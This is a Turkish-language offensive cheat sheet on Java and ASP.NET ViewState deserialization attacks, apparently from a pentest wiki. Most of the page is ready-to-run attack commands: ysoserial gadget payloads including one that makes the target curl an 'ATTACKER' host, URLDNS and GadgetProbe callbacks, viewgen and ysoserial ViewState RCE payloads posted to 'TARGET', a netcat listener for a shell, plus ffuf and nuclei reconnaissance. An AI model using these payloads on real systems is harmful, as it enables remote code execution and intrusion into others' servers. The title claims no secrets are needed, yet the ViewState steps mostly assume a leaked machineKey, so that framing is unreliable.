Exploiting __VIEWSTATE without knowing the secrets
web deserialization
Exploiting __VIEWSTATE without knowing the secrets güvenilmeyen serileştirilmiş veri veya prototype/class pollution üzerinden gadget zinciriyle RCE veya auth bypass arar.
Metodoloji
Section titled “Metodoloji”-
Serileştirilmiş girdiyi ve parser’ı tespit et.
-
Kör OAST (DNS/URLDNS) ile doğrula.
-
Uygun gadget / pollution zincirini kur.
-
RCE veya auth bypass etkisini kanıtla.
Serileştirilmiş girdi bulma
Section titled “Serileştirilmiş girdi bulma”curl -sk https://TARGET/ -b jar | rg -i 'rO0|aced0005|__VIEWSTATE|O:|pickle|yaml|ObjectInput|java\.'ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc allcookie, hidden field, JWT claim, message queue, Redis cacheJava deserialization
Section titled “Java deserialization”ysoserial CommonsCollections6 'curl http://ATTACKER/x' | base64 -w0ysoserial CommonsBeanutils1 'id' > payload.binjava -jar ysoserial.jar URLDNS 'http://UNIQUE.ATTACKER/' | xxdcurl -sk https://TARGET/deserialize -H 'Content-Type: application/java-serialized-object' --data-binary @payload.binDNS / GadgetProbe
Section titled “DNS / GadgetProbe”java -jar GadgetProbe.jar -o out.bin --dns UNIQUE.ATTACKERburpsuite # Java Deserialization Scanner eklentisiURLDNS ile kör doğrulama → gadget class varlığı → RCE gadgetViewState / JSF
Section titled “ViewState / JSF”viewgen --webconfig web.config -c 'calc.exe'ysoserial ViewState 'cmd' # secret biliniyorsacurl -sk https://TARGET/page.aspx -d '__VIEWSTATE=PAYLOAD&__EVENTVALIDATION=...'machineKey sızıntısı (web.config, git, LFI) → imzalı ViewState RCEEtki doğrulama
Section titled “Etki doğrulama”curl http://ATTACKER/hitnc -lvnp 443DNS callback → class confirm → RCE gadget → shellOperasyon notları
Section titled “Operasyon notları”Exploiting __VIEWSTATE without knowing the secrets sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html